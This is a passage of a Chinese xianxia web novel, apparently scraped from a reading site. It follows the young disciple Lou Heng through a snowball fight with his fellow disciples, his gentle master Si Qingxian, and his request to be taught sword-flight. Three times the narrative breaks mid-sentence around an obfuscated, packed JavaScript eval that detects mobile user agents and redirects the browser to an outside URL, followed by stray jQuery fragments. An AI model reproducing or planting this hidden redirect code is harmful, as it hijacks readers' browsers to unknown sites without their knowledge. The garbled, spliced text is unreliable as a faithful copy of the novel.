这颜色穿在旁人身上是好看,但楼珩很清楚自己这张歪瓜裂枣的脸,纯属是浪费这些新衣裳。
“小桃阿姐,就这件吧。”
楼珩觉得手边这件杏黄色锦衣挺顺眼,一旁的仙侍小桃极有眼色地给楼珩换上,这件衣裳内层有厚绒穿着暖和,衣摆处还绣着淡紫色云纹,还挺好看。
刚出寝殿楼珩就看见在梅树下折枝的江花朝,江花朝一看见楼珩就招了招手,“楼珩,快来!”
师尊早就交代过了,以后不要再提楼弃这个名字,还有关于楼珩以前的事,一个字都不能再提起。
楼珩毕竟年纪小,哪儿想得到这么多,他跑过去时眉梢都带着几分喜悦,“花朝阿姐,你怎么来得这么快?”
“姐姐想你了呗。”
江花朝脾气向来不好,跟许多蓬莱弟子都玩不来,这也不怪她性格差,主要原因是她出自喜好散养的仙家江氏,所以自小就是个有主意的,自然交朋友也是看眼缘。
她觉得楼珩这小子虽然长得丑了点,但是还挺乖巧,总比云晟那小子顺眼多了。
江花朝习惯御灵器而行,但这小子应该还没属于自己的二品灵器,江花朝索性抓住楼珩的袖子腾云而起。
蹲在江花朝身后的楼珩看着下面云雾缭绕的群山,眼前一黑,这也太高了!
他惊得头皮发麻,紧紧攥着自己的衣袖,连半个字都说不出。
好在没过多久就到了玉林顶,江花朝没有察觉到楼珩的异样,二人走在蜿蜒的小路上,林子里覆盖了一层厚厚的雪,许多树枝都被积雪压断,眼前一片白茫茫的景色让楼珩觉得格外新鲜,他已经好几年没见过雪了。
以前东萝村地处偏南很少下雪,阿娘总说等以后下了大雪便会带楼珩去堆雪人。
直到阿娘不在了,他也没忘记这个承诺,第二年下了一场大雪,只可惜再也没人陪他堆雪人了。
顺着蜿蜒小路走到尽头是一处空地,四周是竹林和奇石,再往前是覆着厚雪的凉亭。
突然一道身影挡住了他们的去路,是一位手执长鞭的少年,约莫有十二三岁,他身着一袭绿袍,头戴玉冠,未看清面容时便觉得此人气度不凡,尤其是那双上挑的丹凤眼颇令人印象深刻。
“云晟,你小子皮痒了是吧?这是师尊新收的小徒弟,阿珩。”
江花朝直接一脚踹过去,方才还一副稳重模样的少年瞬间变了脸,他嬉皮笑脸地收起长鞭,道:“花朝师姐来得好晚,等会儿打雪仗可要罚你。”
站在二人中间的楼珩闻言一愣,打雪仗?!原来是要打雪仗,他还从没玩过打雪仗。
江花朝见云晟死不正经的样子就知道这小子还在介意师尊另收他人为徒的事,便拍了拍楼珩的肩,道:“云晟今年刚过十岁生辰,你应该叫一声师兄。”
云晟一听就急眼了,“花朝师姐!我今年虚岁都十二岁了。”
江花朝随口敷衍道:“好好好,我们云晟都十二岁了。”
云晟:“…………”
见到云晟吃瘪,躲在竹林后面偷听的桑宁忍不住笑出声,却被身后的望尘一把捂住嘴,“闭嘴。”
听出竹林后面有动静,江花朝面无表情地抬手一挥,三个人狼狈地从竹林里滚出来成了三个‘雪球’,每个‘雪球’都有半截像胳膊一样的玩意。
楼珩看着眼前的‘雪球’惊得说不出话,这是人?
其中一个‘雪球’颤颤巍巍地伸出手,冻得发白的手指比划了一个图案。
三个‘雪球’发出一道白光,紧接着雪球消失了,两位身着蓝袍肩披狐氅的少年朝楼珩拱了拱手,其中一个身形略高的少年道:“小师弟好,我们都是你师兄,他是老二,我是老大。”
“…………”
楼珩面上略显尴尬,他一时不知该说什么,幸好江花朝及时打破僵局,上前主动介绍这两个臭屁的小子,“他俩一个是云逍,一个是望尘,你叫云师兄和望师兄就可以了。”
“云师兄好,望师兄好。”楼珩也学着他们的样子拱了拱手。
云逍饶有兴致地走到楼珩面前,狐疑的目光上下打量着楼珩,嘴角扯出一抹讥讽的笑容,“这小子就是师尊新收的徒弟?生得还没我们阿晟好看,师尊审美挺独特啊。”
江花朝一个眼神就让云逍闭了嘴,他话锋一转,极有眼色道:“不过师尊的眼光一向都不是我们做弟子能擅自揣度,小师弟虽然样貌不出众,仙根估计也一般,但好在有一点不错。”
旁边的云晟不屑地瞥了一眼楼珩,“这小子有哪点好?”
云逍最清楚云晟的狗脾气,这小子就只能夸不能贬,就顺着话夸了两句,“自然是不能跟我们阿晟比,但是你已经拜入师父门下了,怎么还惦记着师尊?”
云晟心虚地摸了摸鼻子,“怎么可能?师尊岂是我等能痴心妄想的……”
一道清脆的声音打断了云晟的话,“你竟然想跟着师尊修行,你简直是不要命了。”
楼珩闻声望去,原来还有一个身穿藕粉罗裙的双丫髻少女躲在望尘身后,她手里拿着一根啃了大半的糖葫芦,小声嘀咕道:“云晟你这话我要告到云师叔那儿,让他狠狠骂你一顿。”
杏眼桃腮,头上还簪了绢花,浑身透着一股子灵气,好一个伶俐的小姑娘。
江花朝最受不了云晟跟云逍这两人的驴脾气,便抬手施了个术法,直接把他俩的二品灵器没收了。
“好了,让你们来不是来拌嘴的,这么久不见还是这副德行,你看看人家望尘跟桑宁多老实,你俩就该被掌门丢到天脊山修炼个一年半载,好好磨磨你们的性子。”
云晟眼巴巴看着自己的二品灵器就这么没了,“师姐……”
江花朝忽略了某些人的哀嚎声,把身侧的楼珩推到望尘面前,嘱咐道:“望尘,桑宁跟楼珩跟你一组,我跟那两个臭小子一组,三局分胜负,你看好这两个小孩。”
刚开始楼珩还不熟练打雪仗的玩法,而且也跑不过其他人。
尤其是云逍每次都能精准砸中楼珩,楼珩来不及躲就又被云晟砸到,望尘原本不想插手,但一看到小师弟‘腹背受敌’,瞬间把跟云晟的兄弟情抛诸脑后,团了个巨大的雪球朝云晟脑袋砸过去。
另一边的桑宁看见楼珩被灌了一脖子的雪,直接撸起袖子就冲上去朝着云逍疯狂砸雪球。
“…………”
云晟自然是打不过望尘,便只好认命被砸个半死的结局。
而云逍则是压根下不去手,桑宁自进入蓬莱就跟在云逍后面当小尾巴,想当初桑宁拜入颜长老门下才五岁,现在一眨眼都敢帮着外人欺负师兄了。
云逍狼狈地用袖子挡住脸,可还是逃不过被砸的命运,便振振有词道:“桑宁!你这个臭丫头竟然叛变,说好了永远向着师兄,结果现在轻而易举就帮一个外人?!”
桑宁才不管这些破道理,她只知道云逍跟云晟在针对楼珩,虽然她跟楼珩不熟,但是任何人都不能欺负她这边的人。
她手上的雪球越滚越大,砸得越来越狠,“别废话,你刚才欺负楼珩的劲儿呢?怎么不使出来。”
云逍:“…………”怕了你这祖宗了。
打完雪仗之后,云晟累得瘫在雪地上直喘气,他看着规规矩矩坐在石凳上的楼珩,不满地啧了一声,“这小子怎么这么瘦弱,年龄看着小得很,喂,小子,你有五岁吗?”
楼珩愣了一下,答道:“我已经八岁了。”
“你都八岁了?”
云晟诧异地看向身板瘦小的楼珩,这小子竟然都八岁了,个子比桑宁还矮了两寸,以前过得是什么苦日子啊?
他复杂的眼神盯着楼珩看了好一会才凑到云逍面前,小声嘀咕:“师尊收这小子当徒弟不会是因为可怜他吧?”
云逍耸了耸肩,“师尊的想法岂是你我能揣度?你小子死了这条心吧。”
坐在楼珩旁边的桑宁显然是一副玩熟的样子,话多得让人头疼。
“这衣裳的面料真舒服,就连腰带上的花纹都这么精致,看来师尊很疼你啊,小楼珩,你运气真好。”
“师尊活了几千年,从未收过徒弟,你是第一个。”
“你的这名字真好听,我就觉得我的名字不好听,花朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799315|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师姐的名字也很好听。”
“…………”
楼珩明显有些局促,他避开桑宁好奇的目光,想到师尊并未交代不能向旁人提起从前的事,便解释道:“这是师尊赐的名字,我以前的名字……”
“这个珩字是极好的,人间只有君子才可称为珩。”
江花朝及时打断了楼珩的话,她一把捏住楼珩的脸,笑道:“我们小阿珩这么听话,师尊当然更喜欢你了。”
楼珩不太习惯跟人亲近,但还是硬着头皮开口,“花朝师姐,你能先松手吗?”
江花朝连忙松开手,讪讪一笑,看来这小孩子还挺怕生。
等江花朝将人送回镜花台的时候,天色已经逐渐变暗,镜花台主殿灯火通明,敞开的殿门飘出阵阵幽香。
楼珩原本想悄悄溜回寝殿把脏衣裳换下来,奈何司青衔这人眼神不差,楼珩刚溜到廊下就被叫住了。
“阿珩,过来。”
“…………”完了完了,师尊要是看到新衣裳被糟蹋成这副模样定会生气。
楼珩忐忑不安地走进大殿,他已经做好了被臭骂一通的准备。
然而站在紫檀木桌前作画的司青衔并没有停笔,而是淡淡开口,“过来。”
楼珩一步步挪过去杵在桌前,低着头老实等着挨训,他默默攥着衣角使劲搓了搓,他刚才偷偷瞧了一眼司青衔的脸色,云淡风轻的神情瞧不出半点动怒的痕迹。
这罚站的滋味可真是煎熬,不知道师尊是不是跟阿娘一样,一生气就爱拎着鸡毛掸子揍人。
过了足足一刻钟,司青衔才将沾了浓墨的狼毫笔搁在砚台上,看着杵在旁边发呆的小徒弟,轻笑道:“为师作画如此好看,阿珩站着竟不觉得累?”
这话是什么意思?这是要他直接跪下?
楼珩冥思苦想了好一会儿仍觉得轻易下跪实在是没骨气,他心虚地看了眼自己身上这件脏兮兮的衣裳,开口解释:“师尊,这衣裳我会自己洗干净的!”
坐在禅椅上的司青衔并没有接话,而是端起一盏茶,慢悠悠问道:“玩得开心吗?”
“啊?”
楼珩着实没想到师尊竟会问自己玩得开心不开心,他讪讪一笑,“嗯,很开心。”
听到楼珩的回答,司青衔满意地点点头,他放下茶盏将人拉到自己跟前,认真道:“开心便好,要记住蓬莱就是你的家,不要拘谨不要胆怯,更不要跟同门师兄师姐生出嫌隙,懂了吗?”
“嗯。”楼珩似懂非懂地点点头,师尊果真是跟旁人不同,说话都要拐八百个弯,能听懂才是奇怪了。
而且他刚才走神在想等会回去是先洗衣裳还是先沐浴。
“…………”
司青衔挑眉看着一脸茫然的楼珩,瞬间明白这小子是完全没听懂,便无奈地勾了勾唇角,“没听懂?”
楼珩用极为诚恳的眼神看向司青衔,坦然道:“师尊,您能说得详细一点吗?我脑子不太好使……”
“本尊怎么觉得你压根没听。”
司青衔被这话逗笑,脑子不太好使?这分明是压根就没听进去,便轻笑道:“意思就是如果有人欺负你就告诉为师,这里就是你的家,有任何麻烦立刻告诉为师,记住吗?”
“记住了。”
最后值得一提的是,楼珩纠结了一晚上的问题被轻而易举地解决了。
因为司青衔跟楼珩说的最后一句话是:回去沐浴更衣,脏衣服放在浴阁竹篓里,夜宵会让人送到你房内。
这还是楼珩第一次弄脏了衣服不用自己洗。
以前阿娘总说阿弃要早日学会如何照顾自己,很多小事都要楼弃自己去做,所以楼珩早就习惯了自己收拾烂摊子。
可是师尊跟阿娘完全不同,他甚至都没有生气,师尊虽没有责怪也没有惩罚,但司青衔温和的态度倒让楼珩觉得不自在,这世上怎么能有人如此云淡风轻,连养孩子这种糟心事都不觉得麻烦,这倒是件怪事。
坐在矮桌前的楼珩端起青瓷碗,刚尝了一口热粥热粥便皱起眉,这也太甜了,师尊连喝粥都要放这么多糖,是真不觉得腻。
他看了眼桌上摆的几碟糕点,过了半晌才挪开视线,这些都是甜的,着实让人难以下咽,楼珩索性将糕点都放回食盒,反正今天玩得累了,他也不觉得饿。
躺在床上的楼珩一时睡不着就胡思乱想了一通,最后得出来一个结论。
司青衔压根不是他们口中阴晴不定、性子冷淡、眼里容不得半点差池又循规蹈矩的冰坨子。
如果定要用一个词来形容师尊,应该是阿娘最喜欢的玉兰,‘皎皎玉兰花,不受缁尘垢’,虽然楼珩不懂这句诗的意思,但他觉得很适合师尊。
“师尊他是天底下最温柔的人……”
14. 第十四章
霜凋夏绿又是一年,细水长流的日子像是蓬莱最高处流下的天池水一样转瞬即逝。
楼珩已经该过十二岁生辰了,这三年他跟着司青衔修出仙根,又在惊蛰堂学会了最基本术法,至于楼珩何时去了惊蛰堂。
这要从去年重阳那日说起,楼珩瞧见桑宁、云晟他们都进了惊蛰堂便央求着司青衔让自己也入学堂修习。
起初司青衔是不答应的,一则楼珩年纪尚小,二则他仙根不稳,恐遭其反噬,司青衔拒绝得干脆利落,连半点转圜的余地都没有。
幸而楼珩这两年摸清了师尊的性子,知道师尊吃软不吃硬,便每日跟在司青衔身后,还时不时踩到司青衔的衣摆,打翻紫檀桌上的砚台,顺手又把司青衔最喜爱的洒蓝广袖长袍的衣摆处弄上一大块石绿色。
被折腾了七八日的司青衔实在是忍不下去,饶是再好的性子也被闹得烦了,便无奈地叹了口气:“罢了罢了,今日你就跟云晟他们一同去惊蛰堂。”
自打楼珩进了惊蛰堂就把所有精力都放在修习上,就连每日早晚给师尊请安都抛诸脑后,更别提偶尔跟师尊在同一张桌子上吃饭,他几乎每顿饭都在食肆堂跟望尘他们一起。
再后来学习御剑飞行的时候,这门课业实在是对准了楼珩的胃口,他恨不得抱着被子搬去韶华阁跟师兄们同住,可惜韶华阁只有十二层,实在没有多余的床给楼珩住。
即便韶华阁有地方住也没人敢让楼珩搬过来,那可是师尊的亲徒弟,师尊千年来只收了这么一个徒弟,必定是极为看重,谁敢让楼珩搬出镜花台就是公然跟师尊作对,这简直是自寻死路。
学习御剑不是件容易的事,先生每个月只安排了三节御剑课,楼珩对其他课业掌握都挺好,只有御剑这门课迟迟没有进展。
上午的课业是最基础的剑招,先生特意交代下个月就要正式御剑,到时候掌门和两位尊者都会亲临考察新一届弟子的御剑飞行。
对楼珩来说没有比这更坏的消息了,在众人面前丢脸也就罢了,丢的还是师尊的脸,这糟糕的情况导致楼珩连午饭都吃不下去。
端着木盘的望尘看见楼珩一副忧心忡忡的样子便直接在他身边坐下,用胳膊肘戳了一下某人,问道:“你怎么跟丢了魂一样?”
正在喝汤的桑宁头也不抬地解释道:“他正在发愁下个月御剑考核的事。”
原来是为了这桩事。
望尘慢条斯理地拿起筷子,今日膳堂做的爆炒鸡丁看着不错,他顺手将那盘爆炒鸡丁推到桑宁面前,叹道:“你小子其他课程都挺好,怎么就御剑术一窍不通,我真是想不通你到底是怕高还是怕摔,凡事都需要努力才能得愿以偿,没有长进应是还不够刻苦。”
看到爆炒鸡丁的桑宁眼前一亮,她乐滋滋地夹了块鸡丁塞进嘴里,嗯,味道果然不错。
但望尘的话太过苛刻,她并不赞成这话,便反驳道:“阿珩已经很优秀了,除了云晟、云霄还有花朝师姐他们三个是天资颇高,常人自然不能与之相较,但阿珩的课业做得很好,所以,望尘师兄你不要再说风凉话了。”
望尘被噎得说不出半个字,只好专心吃饭。
御剑术原也不难,楼珩却连剑意都领悟不出来。
楼珩手中的筷子使劲戳着碗里的米饭,他叹了口气,“剑诀我都背得滚瓜烂熟了,可惜没领悟出半点剑意,这也太难了。”
坐在对面啃鸭腿的云晟冷不丁冒出来一句,“哎,你怎么不找师尊教你御剑,师尊天资极高,连掌门都不及师尊,莫说是掌门和师父,整个仙门无人能出其右。”
正在专心吃饭的桑宁闻言大喜,她怎么把师尊给忘了,那可是阿珩的师父啊,师父教徒弟自是应该的。
“哎?!对啊,师尊曾在试炼大会上一连三届夺得头筹,整个仙门无人能出其右,你就去找师尊教你。”
镜花台——
司青衔此刻在前院的海棠树下静坐喝茶,坐在对面的舜之帝君打量了四周后才慢悠悠开口:“你这儿难得清静,你那小徒弟呢?”
提起楼珩司青衔就觉得心寒,这小子越发不把他这个师父放在眼里了,今早派人送去的蛋羹凉透了都没动一口,更别提昨日他亲自做的糕点和蜜饯,那小子只怕是压根没看见,到现在也不来问安。
司青衔一想到此处就气得头疼,他掐了掐眉心,答道:“阿珩前些时日闹着要进惊蛰堂,这个时辰应是跟师兄们一同修习御剑术。”
舜之帝君一听就乐呵了,手里的折扇掩面笑道:“敢情你这师父在那臭小子眼里屁都不是啊,司青衔啊司青衔,这话传出去是要让人笑掉大牙的,第一次收徒就这么失败,啧啧啧。”
司青衔慵懒地靠在檀木凭几上,修长的手把玩着润了色的玉核桃,他慢条斯理地笑道:“近来你日子过得是越发滋润了,连葡萄都是冰镇过的,你再废话本尊就封了你的嘴,省得你在这儿碍眼。”
舜之帝君顺着司青衔的目光看向矮桌上的木盒,一想到这是自己徒弟亲手做的,而司青衔的小徒弟早就把他这个师父抛诸脑后了,这真是件令人愉悦的事情。
舜之帝君唇角明显压不住笑意,他将木盒推到司青衔面前,语气里藏不住的得意,“这可是我新收的弟子孝敬我这个当师父,这木盒看上去平平无奇却能冰镇足足十二个时辰,嘶,玉阙真人不会连个拜师礼都没有吧?”
“…………”司青衔叹了口气,他从未想过会在这方面输给舜之。
楼珩回到镜花台已经是寅时。
他原本是直奔书房想求师尊答应教自己御剑,可是书房里空无一人,司青衔一般都是在书房作画,除非有外客来访。
既然有外客,师尊不是在后院凉亭里就是在前院。
楼珩刚走出书房就被一只小肥鸟拦住了去路,绿豆叽叽喳喳地绕着楼珩飞了几圈,不停扑棱着翅膀仿佛有话要说。
楼珩觉得这鸟就是太闲了,整日吵吵闹闹没个正经事,他顺手戳了戳绿豆的,解释道:“绿豆,我找师尊又是没时间陪你捉虫子。”
“…………”
绿豆默默飞回书房,这俩人都这么忙,连逗鸟的时间都没有。
楼珩刚绕过假山就看见树下摆着的屏风,屏风
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799316|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后面是正在下棋的师尊和舜之帝君,楼珩走上前拱了拱手,道:“楼珩见过舜之帝君。”
舜之帝君正发愁如何破这死路,他看见楼珩也没太大反应,只平静扔下一句“本君还以为今日见不到小阿珩了。”
楼珩自然听得出来舜之帝君是在打趣,便将手里的食盒放在棋盘旁,道:“帝君说笑了,楼珩要是知道帝君要来,定会从膳堂带一盒帝君最爱的芋头酥。”
他顿了顿,将食盒打开拿出一碟糕点放在司青衔手边,“师尊平日吃惯了山楂馅的茶酥,今日膳堂做了绿豆馅的,您尝尝味道如何。”
楼珩这孩子很少主动从膳堂给自己带糕点,这般献殷勤定是有要事。
司青衔摩挲着指间温润的白子,他掀起眼皮看向楼珩,果不其然看到小徒弟面露难色,想必是有事要寻自己这个师父。
他思索着落下一子,漫不经心道:“今日散学这么早?可是在学堂遇到了什么难题。”
师尊这洞察力真是无人能比,话还没说出口就被看透了。
楼珩慢吞吞挪到司青衔身侧,解释道:“这个月的课业都完成了,所以剩下的时间只需专心准备考试。”
就因为一个考试担忧成这样。
司青衔拿起一块茶酥掰了一小块塞进嘴里,“确实不错,下次让膳堂试试枣泥馅,味道应该不会差。”
楼珩的注意力成功被转移,他好奇地看着碟子里的糕点,道:“真的很好吃?”
坐在对面的舜之帝君看着面前的糕点,司青衔这货一向嗜甜,他喜欢的口味能正常吗?
想到此处他就忍不住笑道:“你师父的口味一向异于常人,你最好别轻易尝试他喜欢的味道,这块糕只怕能齁死人。”
楼珩原本想拿糕点的手顿了一瞬,然后默默收回,他还是不要随便尝试师尊喜欢的口味了,上一回轻信了师尊那句‘栗子糕不甜’,后来灌了三壶清茶才压下去那股甜味。
“帝君言之有理,我还是不太能吃甜的。”楼珩宁愿拒绝师尊的‘好意’,也不想再给自己猛灌茶水了。
一个时辰后。舜之帝君连输三盘后气得一甩袖子,“司青衔你这人忒无趣了些,连一步都不肯让,本君不同你下了。”
“慢走不送。”
司青衔将指间的黑子丢回白玉棋罐里,他侧首看向坐在一旁的小徒弟仍是一副欲言又止的样子,无奈地叹了口气:“小阿珩,现在能说实话了?”
楼珩吞吞吐吐的样子惹得司青衔生出几分好奇,他慢悠悠地捻了捻手指,问道:“闯什么祸了?”
楼珩再三犹豫还是决定说出实情,一咬牙便将心中所烦坦然说出:“今日先生说一个月之后是御剑考核,到时候您和掌门还有云师叔都会亲自监督御剑情况,所以弟子有事相求。”
“所以你不想考核?”
司青衔蹙眉看向神情无措的楼珩,这破罐子破摔的样子应是不想考核,他虽不希望楼珩遇到困难就退缩,但到底还是个孩子,纵容这一次也就罢了。
楼珩摇了摇头,诚恳道:“弟子想求师尊亲自教我御剑术。”
15. 第十五章
亲自教导?楼珩竟然没想过逃避考核,这倒是出乎意料的事。
司青衔端着茶盏的手一顿,挑眉道:“为师还以为你会逃避考核,原来是想让为师教你御剑术,怎么不找你那些师兄教你。”
楼珩被这话噎得说不出半个字,他承认最近确实往师叔的揽月阁跑得勤了点,但他也是为了跟师兄们交流学业。
他心虚地摸了摸鼻子,“师尊说笑了,弟子只是怕落下功课给师尊丢脸。”
司青衔慢悠悠的抬起黑眸看向一脸真诚的小徒弟,想起自己学御剑术的时候是被师父直接从悬崖上丢下去,强烈的求生欲让他忘记自己怕高,最后御剑术日日精进竟成了蓬莱第一。
说出去怕是没人信,御剑术极好的玉阙真人曾经也会怕高。
他放下茶盏,平静的目光里多了一丝犹豫,“你确定让为师教你?为师可是很严苛的,如果你半途而废为师就不允你再去揽月阁玩了。”
楼珩一听这话脸上的笑容瞬间消失,再也不能去揽月阁?这惩罚也太奇怪了,还不如打他一顿。
他讪讪一笑,委婉道:“师尊,能不能换个惩罚。”
司青衔淡淡地掀起眼皮,皮笑肉不笑道:“那不如阿珩考虑换个人教你御剑术。”
楼珩眼皮一跳,连忙改口应下:“师尊听错了,弟子是说如此甚好,”
司青衔满意的收回目光,骨节分明的手拿起桌上的一块玉佩递过去,慢悠悠道:“为师昨日闲来无事给你雕了块玉佩。”
楼珩受宠若惊地接过玉佩,他仔细端详手中这块触手生温的玉佩,这样上等的白玉镜花台只有一块。
楼珩诧异地抬眼,这不会是去年掌门亲自送来的那块玉石所雕成的吧?
“师尊,这是掌门送您的生辰礼,羊脂白玉很是贵重不能随便给旁人,掌门要是知道了……”
司青衔打断了楼珩的话,他蹙眉不悦道:“你的意思是为师送你一个小物件还要经过掌门师兄的同意?”
“弟子不敢。”
楼珩将那一碟茶酥推到司青衔面前,道:“弟子不是想驳了师尊好意,只是掌门对弟子颇有微词,他若是看到这玉佩在弟子身上定会不悦。”
“无妨,本尊的徒弟不是旁人,更何况本尊只有你一个徒弟。”
司青衔顿了顿,斟酌道:“整个镜花台的东西都属于你,只要是阿珩喜欢的都可以拿回寝殿。”
楼珩闻言一怔,这句话他很熟悉,师尊曾说过许多遍这句话。
上一回还是因为楼珩打赌输了便擅自拿了书房内的一品灵丹,他将一品灵丹给望尘、云晟他们分的时候被裴同玉逮了个正着。
云晟一看见裴同玉脸色都变了,裴同玉瞬间明白这一品灵丹是偷来的,他立马声张起来,“楼珩你竟敢偷窃师尊的一品灵丹!快来看啊,师尊的门下徒弟竟是个品行不端的小贼!”
此事闹得沸沸扬扬,最后被司青衔一句话轻易化解。
楼珩永远也不会忘记那日师尊说过的话,“本尊的弟子岂会是贼,楼珩是我镜花台的人,整个镜花台的东西都任由他处置,本尊日后不想再听到任何妄议。”
司青衔并没有问过楼珩关于一品灵丹的事,楼珩以为师尊会动怒,或是质问自己到底为何不问自取。
可是师尊对此事只字未提,仿佛这只是无关紧要的小事。
司青衔的态度不曾让楼珩有过半分拘束,司青衔在蓬莱山的地位仅次于掌门柳不覆,有司青衔在背后撑腰,久而久之楼珩也养出几分嚣张。
正因如此,当年畏畏缩缩躲在人身后的小瞎子才能长成现在这副天不怕地不怕的性子。
司青衔倒觉得楼珩如今的性子很像一只张牙舞爪的小猫,虽然乖张却不失分寸,总比从前的闷葫芦强上许多。
见到楼珩出神发呆的模样,司青衔不免想起楼珩以前胆怯的小可怜模样,嗯,他还是更喜欢小徒弟如今自在随行的样子。
“发什么呆呢?好了,外面日头越发烈了,随为师回去吧。”
司青衔起身将发呆的小徒弟带回大殿,一旁的仙侍们极有眼色地将屏风、棋盘和矮桌都抬回大殿,然后迅速退下了。
楼珩原本想去揽月阁跟师兄们一起切磋,但他狗狗祟祟地溜到殿门时只听软榻上的司青衔轻咳一声。
楼珩眼前一黑,完了,师尊发现了,只好转身讪讪一笑,“师尊,我有事要去一趟揽月阁。”
司青衔现在最听不得的就是‘揽月阁’这三个字,他专心致志地看着手中的话本子,似笑非笑道:“为师觉得你是不急着学御剑了,还有闲心溜出去玩。”
楼珩立马改口:“弟子突然想起来师兄说今日揽月阁有外客,弟子不方便过去打扰,我还是回房温习一下功课。”
司青衔满意地点点头,随口嘱咐道:“为师晚些让膳堂送几道你爱吃的菜到你殿中,温习功课也要注意时间,不要太过劳累。”
“弟子谨记师尊教诲。”
次日司青衔一大早就去了昆仑山,舜之帝君还以为是司青衔这厮好心来探望自己,没成想他空手而来,不仅拿走了自己珍藏百年云外天的太阴玄铁,还顺手拿走了几株上好的寒玉灵芝。
舜之帝君喜滋滋地去冰窖拿了两瓶好酒,等他回到恨水阁,哪里还有司青衔的身影?!
他气急败坏地将酒瓶丢到桌上,“司青衔你小子最好别落到我手里,迟早有一天,本君要把你的镜花台的宝贝都抢过来!”
旁边的迟绪恭恭敬敬地递上一盒糕点,想起方才司渊仙尊的嘱咐,只好硬着头皮开口,“师父,这是司渊仙尊特意为您拿的桃花酥,您要不尝尝?”
舜之帝君瞥了一眼小徒弟手中的红檀木食盒,没好气道:“本君稀罕他一盒破糕点吗?!”
他拿起一块狠狠咬了一口,这可是用万年难得的太阴玄铁换来的糕点,太肉疼了。
镜花台有一处最宜练剑的露台,四周种了一片竹林,竹林中间有一处凉亭,露台四周没有石栏,此处是镜花台最高的地方,能将大半个蓬莱的景色一览无余。
楼珩被绿豆带到招风台的时候,司青衔已经在竹林中等候多时了。
楼珩抬眼便看见了长身玉立的仙人站在斑驳的光影下,日光透过稀疏的竹林洒在仙人周身,这一幕当真是如画中神仙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799317|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲临凡间。
“师尊。”楼珩恭敬地行礼。
司青衔也没废话,直接抬手唤出一把木剑,他将木剑扔到地上,凝指注入一道青光,木剑腾空而起在半空转了几圈又飞回来。
司青衔率先踩上木剑,他站在木剑后端,抬眼看向愣住的小徒弟,唇角勾起一抹笑意。
“过来。”修长的手伸到楼珩面前。
楼珩虽然不明白为何司青衔要召出木剑,但他还是把手递过去,司青衔一把攥住小徒弟的手腕将人拽上来。
没站稳的楼珩下意识抓住身后的人,等楼珩站稳司青衔才松开了拎着某人衣领的手,他就没见过如此畏高的小孩。
木剑腾空而起,呼啸的风声让楼珩愈发紧张,他颤颤巍巍地站在木剑上,结结巴巴地开口,“师…师尊,您让我上来是要直接御剑啊?!”
“既然要学御剑,那为师从今日开始带你御剑,每日两个时辰,先习惯在悬于高空的感觉再谈其他。”
司青衔平淡从容的语气让楼珩的心直接凉了半截,依照他对师尊的了解,师尊这副口吻说出的话一定会言出必行。
楼珩看着脚下的风景只感到一阵头晕目眩,他由衷觉得自己还不如瞎了算了。
他默默抓紧师尊的袖子,生怕自己一个不稳掉下去,更怕师尊会突然一个瞬移玩消失,毕竟司青衔的仙法极高,万一他嫌弃自己学得慢就把自己扔在木剑上怎么办?
“师尊,御剑术不能急于求成,咱们一定要每日都御剑飞行吧……”
司青衔默不作声地垂眸看着小徒弟紧紧攥住自己袖子的手,轻声道:“阿珩,你在害怕?”
楼珩哪里还听得见师尊的声音,他强忍着恐惧答非所问道:“我不饿,就是有点晕。”
司青衔被他的话逗笑,他骨节分明的手抓住楼珩微微颤抖的肩,安抚道:“为师不会把你丢下去的。”
?!师尊还想过把自己丢下去……
楼珩眼前一黑又一黑,师尊的想法果然不是常人能比,楼珩默默拽紧了师尊的袖子,幸好今日师尊穿的是最喜爱的一件石青云绸长袍,他应该不舍得把这件衣裳弄坏。
木剑载着二人飞出蓬莱的结界,越过大大小小的门派和沟壑的山谷、以及数不清的川河。
楼珩终于适应了在高处的感觉,他好奇地往下看了一眼,下面的景色很美,这条望不到尽头的江河更显壮观。
“这里有名字吗?”
司青衔微凉的手抚上楼珩的脑袋,解释道:“阿珩,你看那片望不到尽头的江河,它的名字叫云梦大泽,它的尽头是冥界,冥界就是人死之后魂魄的去处,所以很少有神仙会到这里。”
楼珩似懂非懂地点点头,原来是人死了才能去,那三七是不是也会渡河去冥界,三七最喜欢去小溪边踩水,她应该也会喜欢云梦大泽。
“三七她的家就在江南水乡,她小时候总在船上跟阿爹一起出海,她也会喜欢云梦大泽。”
察觉到楼珩情绪的变化,司青衔俯身掐了掐小徒弟的脸,认真道:“三七会喜欢这里,也会重新进入轮回,她会过上阳和启蛰、岁岁安澜的日子。”
16. 第十六章
